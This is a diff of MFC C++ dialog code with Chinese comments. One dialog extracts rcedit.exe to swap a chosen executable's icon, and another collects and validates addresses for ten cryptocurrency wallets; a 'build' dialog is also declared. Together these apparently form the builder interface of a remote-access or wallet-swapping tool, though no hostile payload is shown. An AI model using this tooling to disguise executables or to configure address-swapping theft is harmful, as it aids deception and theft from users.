// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CBuildDlg : public CDialog

View File

@@ -0,0 +1,127 @@
// CRcEditDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CRcEditDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
// CRcEditDlg 对话框
IMPLEMENT_DYNAMIC(CRcEditDlg, CDialogEx)
CRcEditDlg::CRcEditDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_RCEDIT, pParent)
, m_sExePath(_T(""))
, m_sIcoPath(_T(""))
{
}
CRcEditDlg::~CRcEditDlg()
{
}
void CRcEditDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_EXE_FILE, m_EditExe);
DDX_Control(pDX, IDC_EDIT_ICO_FILE, m_EditIco);
DDX_Text(pDX, IDC_EDIT_EXE_FILE, m_sExePath);
DDV_MaxChars(pDX, m_sExePath, 256);
DDX_Text(pDX, IDC_EDIT_ICO_FILE, m_sIcoPath);
DDV_MaxChars(pDX, m_sIcoPath, 256);
}
BEGIN_MESSAGE_MAP(CRcEditDlg, CDialogEx)
ON_BN_CLICKED(IDC_BTN_SELECT_EXE, &CRcEditDlg::OnBnClickedBtnSelectExe)
ON_BN_CLICKED(IDC_BTN_SELECT_ICO, &CRcEditDlg::OnBnClickedBtnSelectIco)
END_MESSAGE_MAP()
// CRcEditDlg 消息处理程序
BOOL CRcEditDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// TODO: 在此添加额外的初始化
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CRcEditDlg::OnOK()
{
if (m_sExePath.IsEmpty()) {
MessageBox("请选择目标应用程序!", "提示", MB_ICONINFORMATION);
return;
}
if (m_sIcoPath.IsEmpty()) {
MessageBox("请选择[*.ico]图标文件!", "提示", MB_ICONINFORMATION);
return;
}
std::string ReleaseEXE(int resID, const char* name);
int run_cmd(std::string cmdLine);
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
if (rcedit.empty()) {
MessageBox("解压程序失败,无法替换图标!", "提示", MB_ICONINFORMATION);
return;
}
std::string exe = m_sExePath.GetString();
std::string icon = m_sIcoPath.GetString();
std::string cmdLine = "\"" + rcedit + "\" " + "\"" + exe + "\" --set-icon \"" + icon + "\"";
int result = run_cmd(cmdLine);
if (result) {
MessageBox(CString("替换图标失败,错误代码: ") + std::to_string(result).c_str(),
"提示", MB_ICONINFORMATION);
return;
}
CDialogEx::OnOK();
}
void CRcEditDlg::OnBnClickedBtnSelectExe()
{
CFileDialog fileDlg(TRUE, _T("exe"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return;
}
if (ret == IDOK)
{
m_sExePath = fileDlg.GetPathName();
m_EditExe.SetWindowTextA(m_sExePath);
}
}
void CRcEditDlg::OnBnClickedBtnSelectIco()
{
CFileDialog fileDlg(TRUE, _T("ico"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.ico)|*.ico|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return;
}
if (ret == IDOK)
{
m_sIcoPath = fileDlg.GetPathName();
m_EditIco.SetWindowTextA(m_sIcoPath);
}
}

View File

@@ -0,0 +1,35 @@
#pragma once
#include <afx.h>
#include <afxwin.h>
// CRcEditDlg 对话框
class CRcEditDlg : public CDialogEx
{
DECLARE_DYNAMIC(CRcEditDlg)
public:
CRcEditDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CRcEditDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_RCEDIT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditExe;
CEdit m_EditIco;
CString m_sExePath;
CString m_sIcoPath;
virtual BOOL OnInitDialog();
virtual void OnOK();
afx_msg void OnBnClickedBtnSelectExe();
afx_msg void OnBnClickedBtnSelectIco();
};

View File

@@ -0,0 +1,105 @@
// CWalletDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CWalletDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "wallet.h"
// CWalletDlg 对话框
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_WALLET, pParent)
{
}
CWalletDlg::~CWalletDlg()
{
}
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
}
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
END_MESSAGE_MAP()
// CWalletDlg 消息处理程序
BOOL CWalletDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
return TRUE;
}
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
{
CString result;
for (int i = 0; i < size; ++i)
{
result += arr[i];
if (i != size - 1)
result += delimiter;
}
return result;
}
void CWalletDlg::OnOK()
{
CString a[MAX_WALLET_NUM];
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
MessageBox(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
}
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
CDialogEx::OnOK();
}

View File

@@ -0,0 +1,38 @@
#pragma once
// CWalletDlg 对话框
class CWalletDlg : public CDialogEx
{
DECLARE_DYNAMIC(CWalletDlg)
public:
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CWalletDlg();
CString m_str;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_WALLET };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditBTC;
CEdit m_EditERC20;
CEdit m_EditOMNI;
CEdit m_EditTRC20;
CEdit m_EditSOL;
CEdit m_EditXRP;
CEdit m_EditADA;
CEdit m_EditDOGE;
CEdit m_EditDOT;
CEdit m_EditTRON;
virtual BOOL OnInitDialog();
virtual void OnOK();
};

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

Binary file not shown.